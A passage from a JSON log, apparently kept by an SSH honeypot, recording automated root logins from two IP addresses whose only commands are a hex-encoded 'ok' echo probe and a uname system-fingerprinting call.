  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:36:53.222844+00:00",
  "ended_at": "2026-08-23T08:36:56.865128+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0f301b45-beab-416a-bee5-3a598f4dd4a1",
  "name": "downy-foggy-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:51.102162+00:00",
  "ended_at": "2026-08-23T08:36:53.378888+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "46513af8-9672-49c5-910c-349a26844d0b",
  "name": "dusky-granite-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:48.264598+00:00",
  "ended_at": "2026-08-23T08:36:50.414750+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43cded39-aee9-4e9e-9dad-bd664a7160ee",
  "name": "ginger-bitter-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:46.108728+00:00",
  "ended_at": "2026-08-23T08:36:47.581609+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1afd218c-be44-4378-83fc-92846581e8d2",
  "name": "stoic-crisp-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33640,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:43.351315+00:00",
  "ended_at": "2026-08-23T08:36:45.335034+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64d4f979-6a9d-46df-b27c-ff546bd742da",
  "name": "watchful-breezy-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33636,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:40.968608+00:00",
  "ended_at": "2026-08-23T08:36:42.603169+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a24b102b-696c-4db7-9f36-fc471c7d9d04",
  "name": "murky-nameless-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33626,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:39.196797+00:00",
  "ended_at": "2026-08-23T08:36:40.290505+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20bfe40e-ff81-49b8-9b72-183a5641aa78",
  "name": "crisp-placid-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:36.686016+00:00",
  "ended_at": "2026-08-23T08:36:38.458160+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0daf9a6a-501a-4113-b31e-40c302a59d08",
  "name": "feral-mottled-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59308,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:34.870114+00:00",
  "ended_at": "2026-08-23T08:36:36.070684+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9c1f5c67-5ea4-46a3-88d9-05379151ffa5",
  "name": "stoic-nimble-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:32.215149+00:00",
  "ended_at": "2026-08-23T08:36:34.198983+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16cf240a-8489-4546-b3eb-dc85eddd8366",
  "name": "snowy-quartz-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:29.229078+00:00",
  "ended_at": "2026-08-23T08:36:31.410895+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c28c2ea9-99e1-42cd-958c-7b3af7a9cc27",
  "name": "gloomy-glacial-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 175,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:36:26.208439+00:00",
  "ended_at": "2026-08-23T08:36:31.630341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8ae5574d-84fb-46b3-8210-06898f1fac3f",
  "name": "canny-airy-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:26.169415+00:00",
  "ended_at": "2026-08-23T08:36:28.437807+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7e3f001-7b0a-473a-8d19-753656c2827e",
  "name": "gnarled-tidal-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:24.036534+00:00",
  "ended_at": "2026-08-23T08:36:25.351479+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48bcc30e-0e6f-4220-951b-f426ea679f4b",
  "name": "lucid-misty-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:21.753798+00:00",
  "ended_at": "2026-08-23T08:36:23.275711+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d390a4a6-c9cb-487d-9156-5b4fb1b65c36",
  "name": "peaty-marine-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:19.948822+00:00",
  "ended_at": "2026-08-23T08:36:21.063226+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0f63d8de-7603-4e23-88b1-94c236d2173d",
  "name": "inland-humble-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:16.886835+00:00",
  "ended_at": "2026-08-23T08:36:19.129327+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7b304332-e85d-412c-9851-c37deb0c1504",
  "name": "spirited-knotted-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53168,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:14.627088+00:00",
  "ended_at": "2026-08-23T08:36:16.101418+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "30fecbb1-6f0a-4ffb-a587-149f182a7bb6",
  "name": "courtly-gilded-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:12.107547+00:00",
  "ended_at": "2026-08-23T08:36:13.844081+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8a8f68a2-43a8-416f-a8e6-423814a99660",
  "name": "hidden-northern-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:10.428151+00:00",
  "ended_at": "2026-08-23T08:36:11.466584+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "662f0eea-81c1-47fa-b9ec-780aac282cb9",
  "name": "honest-wandering-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37834,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:08.447777+00:00",
  "ended_at": "2026-08-23T08:36:09.667819+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f5d9b11-7cf9-4db9-a1bf-4052195a235a",
  "name": "vigilant-smoky-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37824,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:05.574534+00:00",
  "ended_at": "2026-08-23T08:36:07.724491+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6fd5b76c-5ad7-4bd7-97c1-24cbf086d72b",
  "name": "tawny-shaded-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:03.117232+00:00",
  "ended_at": "2026-08-23T08:36:04.833967+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9b32053-6a2c-4677-9db0-95b77f2c566d",
  "name": "meadow-marbled-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:00.206132+00:00",
  "ended_at": "2026-08-23T08:36:02.294013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "23e4de55-9d15-4723-b8a8-8884662d769f",
  "name": "gleaming-gloomy-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:57.395559+00:00",
  "ended_at": "2026-08-23T08:35:59.498703+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3a3f1139-5aa1-4d7e-aae4-9c9084989f40",
  "name": "nimble-stoic-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33514,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:54.414091+00:00",
  "ended_at": "2026-08-23T08:35:56.661024+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d3f8914-a35f-46b2-be6e-c7ba909414ae",
  "name": "hearty-electric-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:51.672261+00:00",
  "ended_at": "2026-08-23T08:35:53.765495+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "56a360ea-0ebb-4a4b-a993-5a33a0d1c25d",
  "name": "solar-vivid-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:48.721928+00:00",
  "ended_at": "2026-08-23T08:35:50.962587+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6b2f808c-6679-4dbb-80ec-493e4c79d68c",
  "name": "languid-zealous-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:46.901538+00:00",
  "ended_at": "2026-08-23T08:35:48.040365+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "615757bf-2583-435f-89d8-1a6ad7f31e07",
  "name": "reedy-indigo-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:44.758034+00:00",
  "ended_at": "2026-08-23T08:35:46.267871+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a87cae40-a465-4091-9db4-93c43d14ede3",
  "name": "downy-valiant-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:41.727433+00:00",
  "ended_at": "2026-08-23T08:35:43.966081+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b1b175c-53b5-4511-a6b0-de932841b38b",
  "name": "merry-snowy-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59620,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:39.238135+00:00",
  "ended_at": "2026-08-23T08:35:41.040912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cee687be-d332-4ccb-97c0-6d85ff6e4cff",
  "name": "velvet-shaded-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:34.017278+00:00",
  "ended_at": "2026-08-23T08:35:38.503680+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e9029e3e-38e5-4b77-afb2-0100c969c817",
  "name": "arctic-chilly-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:32.366725+00:00",
  "ended_at": "2026-08-23T08:35:33.355130+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e1169eb-bd00-4b5b-8f7f-47fc2f8f9863",
  "name": "steady-seaward-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:29.690268+00:00",
  "ended_at": "2026-08-23T08:35:31.710546+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a5e019fd-a46d-47b9-8ab5-d7b4e224a030",
  "name": "fierce-reedy-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:27.188130+00:00",
  "ended_at": "2026-08-23T08:35:29.011236+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80a106b2-675f-42d3-8f58-f9064aa5df65",
  "name": "knotted-cobalt-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:24.591178+00:00",
  "ended_at": "2026-08-23T08:35:26.527411+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "65d781ea-505d-4bdd-90e4-552f1d4c29fa",
  "name": "lofty-gilded-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:22.214667+00:00",
  "ended_at": "2026-08-23T08:35:23.815682+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a20bbd5-6213-45c5-a5bb-7d4691490dbc",
  "name": "quiet-wandering-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:20.287855+00:00",
  "ended_at": "2026-08-23T08:35:21.528600+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9818e456-bc6b-40f7-8960-c2ce73dc3a58",
  "name": "somber-subtle-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:18.634405+00:00",
  "ended_at": "2026-08-23T08:35:19.547845+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e18a7b8-80be-44c2-a4af-f0f88699c1fe",
  "name": "dusty-shifting-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:16.756934+00:00",
  "ended_at": "2026-08-23T08:35:17.951859+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0e91d0b-3b0d-45ba-8a28-38399cfbd59f",
  "name": "rustic-alpine-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:14.481622+00:00",
  "ended_at": "2026-08-23T08:35:16.097801+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "44f5dace-f4ce-4291-8d1b-94c77a4ebf7d",
  "name": "brave-amber-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:12.884713+00:00",
  "ended_at": "2026-08-23T08:35:13.804194+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1f8a3925-8501-459d-93b1-bbcff03ff222",
  "name": "snowy-earnest-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:10.295863+00:00",
  "ended_at": "2026-08-23T08:35:12.171061+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "194c8b02-c0da-47cf-92cc-7caf04e3c853",
  "name": "rustic-cobalt-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:08.564717+00:00",
  "ended_at": "2026-08-23T08:35:09.450511+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c665266e-dd26-460d-87ee-df18d6d3df40",
  "name": "hazy-shifting-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:06.413213+00:00",
  "ended_at": "2026-08-23T08:35:07.804903+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "601a8007-0622-4198-a2d4-76a0eac0c9ca",
  "name": "thrifty-fabled-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:03.604220+00:00",
  "ended_at": "2026-08-23T08:35:05.673193+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9e73feae-7ceb-439c-85a0-856e7f65efa6",
  "name": "ruddy-jolly-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 174,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:35:02.911891+00:00",
  "ended_at": "2026-08-23T08:35:04.511392+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6f452fc4-6b05-4290-95d8-682246d69047",
  "name": "blazing-lucid-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:35:01.541245+00:00",
  "ended_at": "2026-08-23T08:35:02.941022+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2f6b3fb-ef88-4f4b-8e90-d8e745f8dd3e",
  "name": "wiry-sterling-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47830,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
